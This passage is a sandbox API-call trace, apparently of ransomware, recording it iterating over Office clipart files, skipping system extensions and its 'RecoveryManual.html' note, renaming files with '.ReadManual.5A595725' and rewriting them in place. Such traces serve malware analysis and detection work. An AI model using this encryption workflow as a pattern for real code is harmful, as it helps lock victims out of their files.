returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.536] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.537] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" [0267.537] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.ReadManual.5A595725" [0267.537] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.ReadManual.5A595725") returned 87 [0267.537] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38820546148) returned 1 [0267.537] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 0x20 [0267.537] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.537] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24392) returned 1 [0267.537] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f48, lpName=0x0) returned 0x184 [0267.537] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.538] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.538] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.540] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.541] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f48) returned 0x2f0000 [0267.541] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.541] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38820973759) returned 1 [0267.541] CloseHandle (hObject=0x184) returned 1 [0267.541] SetSecurityInfo () returned 0x57 [0267.541] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.541] CloseHandle (hObject=0x194) returned 1 [0267.541] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0267.541] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0182898.WMF" | out: lpString1="J0182898.WMF") returned="J0182898.WMF" [0267.541] lstrcmpiW (lpString1="J0182898.WMF", lpString2="RecoveryManual.html") returned -1 [0267.541] StrStrIW (lpFirst="J0182898.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.541] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.541] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.541] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.541] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.542] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.542] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" [0267.542] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.ReadManual.5A595725" [0267.542] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.ReadManual.5A595725") returned 87 [0267.542] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38821068875) returned 1 [0267.542] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 0x20 [0267.542] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.543] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15150) returned 1 [0267.543] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b2e, lpName=0x0) returned 0x184 [0267.543] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.543] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.543] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.545] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.546] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b2e) returned 0x2f0000 [0267.546] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.546] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38821476520) returned 1 [0267.546] CloseHandle (hObject=0x184) returned 1 [0267.546] SetSecurityInfo () returned 0x57 [0267.546] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.546] CloseHandle (hObject=0x194) returned 1 [0267.546] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0267.546] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0182902.WMF" | out: lpString1="J0182902.WMF") returned="J0182902.WMF" [0267.546] lstrcmpiW (lpString1="J0182902.WMF", lpString2="RecoveryManual.html") returned -1 [0267.546] StrStrIW (lpFirst="J0182902.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.546] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.546] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.547] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.547] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" [0267.547] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.ReadManual.5A595725" [0267.547] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.ReadManual.5A595725") returned 87 [0267.547] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38821573166) returned 1 [0267.547] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 0x20 [0267.547] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.547] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7822) returned 1 [0267.547] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e8e, lpName=0x0) returned 0x184 [0267.548] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.549] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.549] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.550] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.550] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e8e) returned 0x2f0000 [0267.551] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.551] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38821948529) returned 1 [0267.551] CloseHandle (hObject=0x184) returned 1 [0267.551] SetSecurityInfo () returned 0x57 [0267.551] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.551] CloseHandle (hObject=0x194) returned 1 [0267.551] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0267.551] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0182946.WMF" | out: lpString1="J0182946.WMF") returned="J0182946.WMF" [0267.551] lstrcmpiW (lpString1="J0182946.WMF", lpString2="RecoveryManual.html") returned -1 [0267.551] StrStrIW (lpFirst="J0182946.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.551] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.551] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.552] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.552] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.552] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" [0267.552] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.ReadManual.5A595725" [0267.552] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.ReadManual.5A595725") returned 87 [0267.552] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38822044039) returned 1 [0267.552] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 0x20 [0267.552] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.552] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16082) returned 1 [0267.552] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ed2, lpName=0x0) returned 0x184 [0267.552] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.553] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.553] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.555] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.555] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ed2) returned 0x2f0000 [0267.556] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38822445606) returned 1 [0267.556] CloseHandle (hObject=0x184) returned 1 [0267.556] SetSecurityInfo () returned 0x57 [0267.556] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.556] CloseHandle (hObject=0x194) returned 1 [0267.556] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0267.556] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0183172.WMF" | out: lpString1="J0183172.WMF") returned="J0183172.WMF" [0267.556] lstrcmpiW (lpString1="J0183172.WMF", lpString2="RecoveryManual.html") returned -1 [0267.556] StrStrIW (lpFirst="J0183172.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.556] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.556] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.557] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" [0267.557] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.ReadManual.5A595725" [0267.557] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.ReadManual.5A595725") returned 87 [0267.557] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38822542160) returned 1 [0267.557] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 0x20 [0267.558] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.558] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29788) returned 1 [0267.558] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x745c, lpName=0x0) returned 0x184 [0267.558] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.559] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.559] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.561] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.561] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x745c) returned 0x2f0000 [0267.562] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.562] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38823069660) returned 1 [0267.562] CloseHandle (hObject=0x184) returned 1 [0267.562] SetSecurityInfo () returned 0x57 [0267.562] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.562] CloseHandle (hObject=0x194) returned 1 [0267.562] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0267.562] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0183174.WMF" | out: lpString1="J0183174.WMF") returned="J0183174.WMF" [0267.562] lstrcmpiW (lpString1="J0183174.WMF", lpString2="RecoveryManual.html") returned -1 [0267.562] StrStrIW (lpFirst="J0183174.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.562] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.562] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.562] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.562] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.563] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.563] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" [0267.563] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.ReadManual.5A595725" [0267.563] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.ReadManual.5A595725") returned 87 [0267.563] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38823167804) returned 1 [0267.563] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 0x20 [0267.563] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0010000, 